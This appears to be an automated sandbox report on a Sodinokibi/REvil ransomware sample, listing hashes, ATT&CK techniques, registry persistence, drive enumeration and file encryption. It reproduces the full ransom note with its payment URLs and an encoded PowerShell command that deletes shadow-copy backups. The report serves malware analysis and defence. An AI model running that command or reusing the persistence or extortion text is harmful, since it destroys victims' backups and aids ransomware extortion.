sodinokibi | 8efde1792c83d66d2bf46cdfc695bb5f70edeefd951b70c403960ebcf2ca712c

General

Target

0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
Size

164KB
MD5

0e3a73d5941bbe2e577bbf9910e422da
SHA1

9a82c12a54cdf85063ebfe9eb97444f49aa68f51
SHA256

8efde1792c83d66d2bf46cdfc695bb5f70edeefd951b70c403960ebcf2ca712c
SHA512

7780e7b1aee337c2d9440ac6f9997cad698cf633118872edd3daa565a8de5330350f2a61cb0b35889e518871c840075f68b39e9c92624783bc7cbb8f88a49ecd
SSDEEP

3072:WGYFrOdhfkQv9jrAprhFmyvEjQDKaUznxQacKt1Cilb:QadFkMGhFjED39b

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\Recovery\019t694e-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 019t694e. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2313D28C11E016D6 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/2313D28C11E016D6 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: BMza+jRL1YwODHAY8HSOap2bHTuxyz8SievMcBytvO3qoPXDMvNLK4lo42kIBKir RssyFnMHmeqWqQ6Xb2X1cdyLao53U9zg52XMuHRFNRwdQXF46HlmkQgubztFvfaj pWItMrajdrxTL/1vPQCvMDJSleUVIX14//iboL6CigPVODjXj+X9jzsNrgbpWA2E ai4KuupO1IZyPESXtLen6YPcwnDhSwrV8w7/dkFXXdY+LNt4aaOiQ87GHGR9jW9I d74caWJjJWcUhhs2DsnADrulVUiShJ0GABqMKS2LdmlYe6C1tO/UPG5AhXNSpheh JAt2Z9LZqGjDZj1hJCgofQOFFrSfa50gB3e8bALaobseUsuoP6Nq7YxEUAI9I1Mr qNOiOk5tGUgOMx8FA3l4BtwiUEzRp0MqRdnFCbl0H12euI3dGRj3u+2UiSBXJ461 ZIhBB6ZV1Bc1q7JLh8jTI6idVo6f83c0y6p2eqX9ebt8d9zaSRN6Pzp5pEiT46H9 9aQ3wtWdKHBL40kbPlERTAMX5jyBSKCWLHxTifuo22dnfQ01m2VD8l3ArcuFsJ1H AiIg5xsm+jpsIPgaPiz5tSCCs3p+CkUl48M9gmJb47KZy2P9/uId7evHv290At/r 7gABAA8ZQvATHjzoxXx7MQg5jJpD2SavxyfQDCeZu15LQ79xSzIUs9OsR6KGyGbV oea02IemR2as7gL2AJClA9wVCfVJkgNTJ/kmL3Zwytzu31NxwbRzMK+o3PE/aDgy MHNIITilt4c54Nm9YB5mBojDNio5HBgWRffmrtwPNrLT1y4Le1LVCb0dj3VvVY75 tElE9aLzJBUHnD8gZVFDtHLFkSdq+ZEUNiSoHIc1Bi277sx82/SWiUR4iR18Jqk1 b4KTlIlbVWPnyMqhg8jEROSDd2GnT2n13xWWCTHq/w9OSQwtvRexDEqr5JMGuwXL HWRuH8WqwSLg+769HeD0o7Mu18Ecu+3tp3e8TfKWM9lNXMfLixNiIhaErgfMJD2k 6riQBJIDDaf/HOfnYB7Ly+soGvSkzA08y5c7qnXxvwiC2xmpIaZEVf6E4lFlsHu+ dsgl14A30g3kYdNza4mSn0AGNfYSWGe7Uf8MjO9r1A223uW43nKgpGOTOerLr5gU VjuMzCuwxSpn0PVufo1S6IaFNUMjKKb7owPca/76abd7nw4ju+LPAxNOj4PAmhdY 3GPOfTiDeC+D9DjyTECynHbTjYVYQA== Extension name: 019t694e -------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2313D28C11E016D6

http://decryptor.top/2313D28C11E016D6

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\sNpEShi30R = "C:\\Users\\Admin\\AppData\\Local\\Temp\\0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe"	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe

description	ioc	process
File opened (read-only)	\??\U:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\Q:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\S:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\W:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\I:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\E:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\L:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\M:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\B:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\H:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\K:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\O:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\P:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\X:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\G:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\D:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\R:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\Z:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\F:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\N:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\V:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\T:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\J:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\Y:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened (read-only)	\??\A:	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3jc374p84f.bmp"	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe

Drops file in Program Files directory 27 IoCs

Processes:

0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe

description	ioc	process
File opened for modification	\??\c:\program files\MeasureOptimize.mp4	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File created	\??\c:\program files\019t694e-readme.txt	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConfirmRestart.potm	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConvertFromRepair.mpv2	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnregisterOpen.wpl	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnpublishBackup.3gp	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ExpandApprove.kix	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\FindComplete.mp4v	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\GetFormat.mpeg3	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\InitializeRepair.docx	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UndoSync.mhtml	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ReceiveConvertFrom.dwg	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SuspendConvertTo.pdf	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnblockSend.htm	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\BlockAdd.3gpp	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MountWrite.pcx	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\PopLock.scf	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RenameResize.3gp2	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RevokePing.jfif	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\BackupGet.vssx	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CompressRestore.xps	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RemoveCopy.avi	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File created	\??\c:\program files (x86)\019t694e-readme.txt	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MeasureConnect.snd	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\OptimizeUninstall.xps	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\EditSelect.wvx	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MeasureFormat.3gp2	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exepowershell.exe

pid	process
3228	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
3228	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
4572	powershell.exe
4572	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeBackupPrivilege	4144	vssvc.exe
Token: SeRestorePrivilege	4144	vssvc.exe
Token: SeAuditPrivilege	4144	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe

description	pid	process	target process
PID 3228 wrote to memory of 4572	3228	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe	powershell.exe
PID 3228 wrote to memory of 4572	3228	0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0e3a73d5941bbe2e577bbf9910e422da_JaffaCakes118.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4572

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3796

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4144

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Recovery\019t694e-readme.txt

Filesize
6KB

MD5
bbc0d1be6b0b30f157eb545bfffaa390

SHA1
ed2d06627fa573b94456b998145acd416a434129

SHA256
2a22b4f6ec9f4bb43538e22a849548e2bb6dda4a7d9ae134b082d31076be98e2

SHA512
c1237845436deb17442f482c90543fc7e84772b01adc6d60303a55c8b956e6a6202b378584f53b4b026d69ce4f0422c7536ba94dc228138267e1096cc236ec8d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ksxvaxfc.bqk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4572-0-0x00007FF83B943000-0x00007FF83B945000-memory.dmp

Filesize
8KB

Download
memory/4572-10-0x00000189A47F0000-0x00000189A4812000-memory.dmp

Filesize
136KB

Download
memory/4572-11-0x00007FF83B940000-0x00007FF83C401000-memory.dmp

Filesize
10.8MB

Download
memory/4572-12-0x00007FF83B940000-0x00007FF83C401000-memory.dmp

Filesize
10.8MB

Download
memory/4572-15-0x00007FF83B940000-0x00007FF83C401000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads